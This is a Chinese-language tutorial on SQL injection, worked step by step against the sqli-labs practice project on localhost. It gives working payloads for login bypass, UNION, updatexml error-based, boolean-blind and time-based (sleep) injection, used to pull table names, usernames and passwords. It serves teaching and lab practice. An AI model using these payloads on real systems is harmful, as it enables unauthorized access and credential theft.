SQL注入原理及注入过程
SQL注入简介
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入的学习过程我使用GitHub的一个开源项目进行练习[Sqli-Lab项目地址]
万能密码
这里使用的是Less-11
进行试验
Less-11
的页面存在一个的登录框
一般最简单的登录框在登陆的时候是直接传参到数据库中进行查询,所使用的查询语句为:
1 | select username,password from user where username='$name' and password='$pwd'; |
1.逻辑或注入
如果我们使where条件为真,那么必然会有查询结果输出
我们可以在username中输入任意值,在password中输入1' or '1'='1
,提交之后可以看到我们使用Dumb账户登陆成功了
分析一下,如果我们使用这样的密码进行登录,所对应的数据库查询语句一般为:
1 | select username,password from user where username='123' and password='1' or '1'='1'; |
由于or后面的'1'='1'
的布尔值是必然为真,所以where语句的结果也必然为真,所以页面会使用从数据库中查询出来的第一个账户进行登录
那么如果我们不想使用第一个账户进行登录该怎么办呢?
可以使用limit限制查询输出,从而达到使用其他账户进行登录的目的,在password中注入:1' or 1=1 limit 7,1 -- +
提交后发现使用admin账户进行了登录
分析一下,将注入的数据代入SQL语句可以看到:
1 | select username,password from user where username='123' and password='1' or 1=1 limit 7,1 -- +; |
当我们限制在第8个查询位输出的时候,就可以以admin账号进行登录了
2.注释符注入
在登陆查询的时候,where语句会匹配username和password两个字段,如果我们将password字段的匹配语句使用注释符注释掉,那么就可以实现以数据库中的任意账户进行登录
如图,username中注入admin'/*
,password中注入*/'
,提交查询后我们就可以看到网页以admin账户进行登录了
再来到具体的SQL语句中进行分析,我们注入后,数据库要执行的查询语句为:
1 | select username,password from user where username='admin'/*' and password='*/''; |
可以看到SQL语句中有一部分被注释掉了,数据库实际所执行的语句是:
1 | select username,password from user where username='admin'''; |
我们注释掉了password字段的匹配处理,从而可以使得我们以admin账号任意登陆
以上两种注入方式就是一般情况下所使用的的万能密码注入。
联合注入
此注入方式只适合数据库查询的信息在页面有显示的情况下才能使用。
1.测注入点
1 | http://127.0.0.1/sqli/Less-1/?id=1 |
看上面这个URL,是以GET的方式请求页面数据,猜测在id=1
处存在注入点
尝试在参数值的后面添加引号或者右括号来测试,如果页面产生报错信息,则极有可能存在注入点,比如在id的参数值后面加个单引号,提交后页面提示有语法错误,我们就可以判断存在SQL注入漏洞。
2.求闭合字符
一般可以使SQL语句闭合的符号有三个:'
、"
和)
,我们可以通过自由组合或者选择其中一个进行测试
具体该用哪个闭合字符,我们可以使用逻辑与进行判断
- and 1=1
- and 1=2
根据SQL语句的语法规则,如果我们正常闭合了前面的语句,那么后面的语句则会被正常执行。即当我们在后面注入and 1=1
的时候,页面输出的结果应该与不带任何注入语句一样;当我们注入and 1=2
的时候,由于1=2
的逻辑判断值为假,页面应该不会有任何输出。所以如果我们正确注入了闭合字符,则会满足上面两个条件。
下面来看几个例子:
首先尝试使用双引号判断注入字符,可以看到能正常输出
这里URL中的
%23
是URL编码,转为字符就是#
,#
在SQL语句中代表注释,它会注释掉后面的所有SQL语句,使其不再执行
然后我们再注入and 1=1
,同样可以正常输出
再注入and 1=2
,依然可以输出
那么就可以判断双引号是没法使SQL语句闭合的
再换单引号进行尝试,当在单引号后面注入and 1=2
的时候,会发现页面上的输出为空,那么证明我们的闭合是有效的
由此可以确定此处需要使用的闭合字符为单引号'
3.求列数
在SQL注入的时候,我们需要知道数据库后台一共查询了几列数据,才能利用网页源码中的函数将我们所需要的信息输出到页面上
确定查询的字段数可以使用order by
函数,后面跟我们猜测的字段数,要是后面跟着的数字超出了字段数的时候,则会报错!通过这个我们可以确定网页所查询数据库的字段数。
当我们要求按照第三列数据进行排序的时候,页面不会显示任何信息
然而当改为按照第四列排序的时候,会发现页面显示了报错信息,提示没有第4列数据
这时我们就可以判断网页源码通过数据库查询出来的数据有三个字段
4.求显示位
为什么要求显示位?因为某些原因,开发人员在编写网页代码的时候,并不一定将查询到的所有数据都显示在网页上,可能只会显示其中的某几列数据,这时候我们就需要确定显示在页面上的是哪几列,这样才能让我们后面查询到的隐秘信息正确输出在页面中。
比如下面的PHP源码:test数据库文件下载
1 |
|
网页从数据库中查询了三个字段:name
,age
,email
,但是网页只输出了name
和age
两个字段。
上面第3步确定了查询的字段数之后,我们就可以使用联合查询输出指定字符来判断显示位
先看一个在数据库命令行中的查询结果
直接select 1,2,3
,则也会直接在查询结果中显示出来
所以我们联合查询选择1,2,3,通过判断输出显示的数字就可以判断显示位
可以看到页面显示出来的是2和3,证明显示位是第二列和第三列的数据
URL中的
--+
其实也是注释符,与上面的#
是同样的效果
5.求库名
数据库名的查询可以借助于database()
函数,这个函数会输出当前查询所使用的数据库的名称
这里查询出来的数据库名为security
6.求表名
表名和字段名(列名)的查询需要借助information_schema
这个数据库,在这个数据库中存储着当前用户名下所有数据库、数据表和表内字段的基本信息。
求表名需要查询这个数据库中的tables
数据表,同样借助于联合查询进行输出
注入的语句为:
1 | id=1' and 1=2 union select 1,table_name,2 from information_schema.tables where table_schema='security' --+ |
输出结果:
但是这只输出了一个数据表的名称,显然emails并不是我们想要的表,要想输出查询结果中的所有表的名称,可以使用连接函数group_concat()
将所有的结果连接为一个字符串输出
连接后的语句:
1 | id=1' and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='security' --+ |
输出结果:
根据名称的含义可以猜测,users表即为我们迫切想要求得的表
7.求列名(字段名)
用与上面同样的方法求列名,这次查询的是columns
表
注入语句:
1 | id=1' and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_schema='security' and table_name='users' -- + |
输出结果:
username
和password
字段就是我们想要的结果
7.求列名
8.查数据
知道了表名和字段名后,我们就可以通过注入的方式拿到存在数据库中的用户名和密码了
还是使用联合查询进行注入:
1 | id=1' and 1=2 union select 1,group_concat(username,0x23,password),2 from security.users -- + |
将username
和password
使用#
进行拼接后输出,得到的结果为
从结果中可以直接看到账号admin的密码为admin
—至此便完成了联合查询的SQL注入的整个过程。
报错注入
updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
-
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
-
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
-
第三个参数:new_value,String格式,替换查找到的符合条件的数据
-
作用:改变文档中符合条件的节点的值(改变XML_document中符合XPATH_string的值)
当updatexml函数的第二个参数XPath_string未满足XPath语法的时候,会产生报错并带出关键信息。但是这个函数能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用字符串截取函数或者分段显示进行处理。
1.测注入点
2.求闭合字符
这两步与上面联合注入的过程一样,此处就不再赘述[传送门]
3.求库名
注入语句:
1 | id=1' and updatexml(1,(select concat(0x23,database(),0x23)),1) -- + |
这里将查询使用#
包起来是为了使得查询报错,例如查询一个开头为#
字段,数据库肯定会报错
上面注入语句的查询结果为:
可以看到报错泄露出来的数据库名为security
4.求表名
嵌入select查询语句,在information_schema
库中查询
1 | id=1' and updatexml(1,(select group_concat(0x23,table_name,0x23) from information_schema.tables where table_schema='security'),1) -- + |
查询结果为:
可以看到在报错信息中泄露出了我们需要的表名,但是由于字数限制,查询结果显示不全,所以需要我们进一步处理:(两种方法)
- 使用字符串切片函数
substr()
对查询结果进行分割
1 | id=1' and updatexml(1,(select substr(group_concat(0x23,table_name,0x23),20,30) from information_schema.tables where table_schema='security'),1) -- + |
- 使用
limit
函数对依次对结果进行遍历输出
1 | id=1' and updatexml(1,(select concat(0x23,table_name,0x23) from information_schema.tables where table_schema='security' limit 3,1),1) -- + |
不管哪一种方法,都可以查到我们需要的表users
5.求字段名(列名)
与查表名相类似,注入语句为:
1 | id=1' and updatexml(1,(select substr(group_concat(0x23,column_name,0x23),1,50) from information_schema.columns where table_schema='security' and table_name='users' ),1) -- + |
查询结果
6.查数据
注入语句:
1 | id=1' and updatexml(1,(select substr(group_concat(0x23,username,0x24,password,0x23),110,50) from security.users ),1) -- + |
查询结果:
同样也拿到了admin账户的密码
布尔型盲注
如果在我们注入的时候网页中对数据库的查询信息没有任何回显(包括报错信息),那么我们就不能使用上面介绍的两种注入方式,这时候就需要我们尝试进行盲注。当我们的数据库执行语句正确的时候页面会显示一些正常信息,当我们注入的语句使数据库报错的时候,页面则不会显示信息,或者只提示语法错误,通过这个特点,我们可以对我们需要的内容进行逐字符猜测验证,从而拿到我们想要的数据
这里使用Less-8进行试验
1.测注入点和闭合字符
与联合注入的操作方式一样,只是通过判断页面是否输出来检验闭合字符的正确性
通过测试,判断出来这里的注入字符为'
2.求库名
求数据库名还是使用database()数据库,先查一下数据库名的长度
可以使用二分法依次尝试数据库名的长度
先判断长度是否小于10,如果条件成立则页面会有输出
1 | id=1' and length(database())<10 -- + |
如果不成立,比如我们测试长度小于5
1 | id=1' and length(database())<5 -- + |
那么页面不会有任何输出,说明我们构造的长度小于5使得数据库产生了语法错误,所以长度小于5是不成立的
然后再尝试小于8,发现依然没有输出,那么证明它的长度是不大于8并且小于10的,再尝试长度小于9,页面产生了输出,那么就可以判断数据库名的长度为8
再输入等于8进行检验
1 | id=1' and length(database())=8 -- + |
可以看到页面有正常输出,那么就可以确定库名的长度为8了
知道长度之后就可以逐字符猜测数据库名称了
对于数据库名的猜测使用ascii()函数,这个函数会输出传入参数的第一个字符的ASCII码,然后使用substr()函数对查到的数据库名进行逐字符分割
然后使用二分法逐字符判断出具体的数据库名
1 | id=1' and ascii(substr(database(),1,1))<115 -- + [False] |
由此可以判断出数据库名的第一个字符的ASCII码为115,即字符s
以此类推,就可以判断出整个数据库名为security
3.求表名
要求得表名就要先知道数据库中有多少个表,这里使用count()函数进行判断
1 | id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 -- + |
通过猜测select count()查询出来的值来判断数据库中表的个数,可以看到有4个表
对于具体的表名,就需要使用上面求数据库名的方法逐字符进行爆破猜测
首先使用concat()函数和limit语句限制查询结果的输出个数,然后对输出的每个表名使用substr()函数进行逐字符的拆分爆破
下面展示一个查询正确的注入语句
1 | id=1' and ascii((select substr(concat(table_name),1,1) from information_schema.tables where table_schema='security' limit 3,1))=117 -- + |
可以判断第四个表的第一个字符为u
经过漫长的猜测查询过程后,我们得到了四个表的表名:emails
、referers
、uagents
、users
,其中users即为我们想要注入拿到数据的表
4.求列名
与求表名的步骤基本相同,只是这里需要查询information_schema.columns
表
1 | id=1' and ascii((select substr(concat(column_name),1,1) from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))=112 -- + |
通过不断爆破注入可以拿到users
表中存在的字段有:id
、username
、password
5.查数据
我们可以挨个查询username和password的值
1 | id=1' and ascii((select substr(concat(username),1,1) from security.users limit 7,1))=97 -- + |
通过不断尝试可以拿到admin的用户名和密码:admin/admin
时间型盲注
如果网页对于数据库的查询不会有任何的返回结果或者报错输出,就没法使用布尔型盲注。页面无法提供有用的回显信息,就无法进行判断注入的正确与否,对于这种情况,我们一般采用基于web应用响应时间上的差异来判断是否存在SQL注入,即基于时间的SQL盲注。
时间型盲注会用到两个新的函数:if()
和sleep()
对于if()
函数,一般我们使用的语法为:if(查询语句,1,sleep(5))
,即如果我们查询的结果为真,那么网页正常加载返回结果;如果我们查询的语句为假,那么网页会加载5s之后才返回显示页面内容。我们可以根据页面返回时间的长短来判断我们的查询语句判断是否正确。进行到这里,我们的判断方法与之前的布尔型盲注就相同了,也就是构造查询语句来判断结果是否为真。
这里拿爆破出数据库长度作为例子进行讲解
首先我们使用的注入语句为:
1 | id=1' and if(length(database())<10,1,sleep(5)) -- + |
这里是判断数据库名的长度是否小于10,如果成立的话,页面直接就会加载出来,如果不成立,需要等待5s的时间页面才会加载完毕
这里提交URL之后,页面会立即加载出来,然后我们再进行下一步猜测
根据二分法的原则,这次注入的语句判断长度是否小于5:
1 | id=1' and if(length(database())<5,1,sleep(5)) -- + |
这次提交URL之后明显能感觉到网页的加载时间变长了许多,浏览器标签页的加载图标会徘徊那么一段时间
同样地,我们再将长度的猜测改为小于8,发现加载时间还是比较长,然后改为<9,加载时间就比较快了,由此可以推断出当前网页使用的数据库名的长度为8
对于其他需要查询的信息,就基本与布尔型盲注的查询方式相同,只需要将判断信息的查询语句放在if()
函数的第一个参数中,然后根据页面加载的时间进行判断即可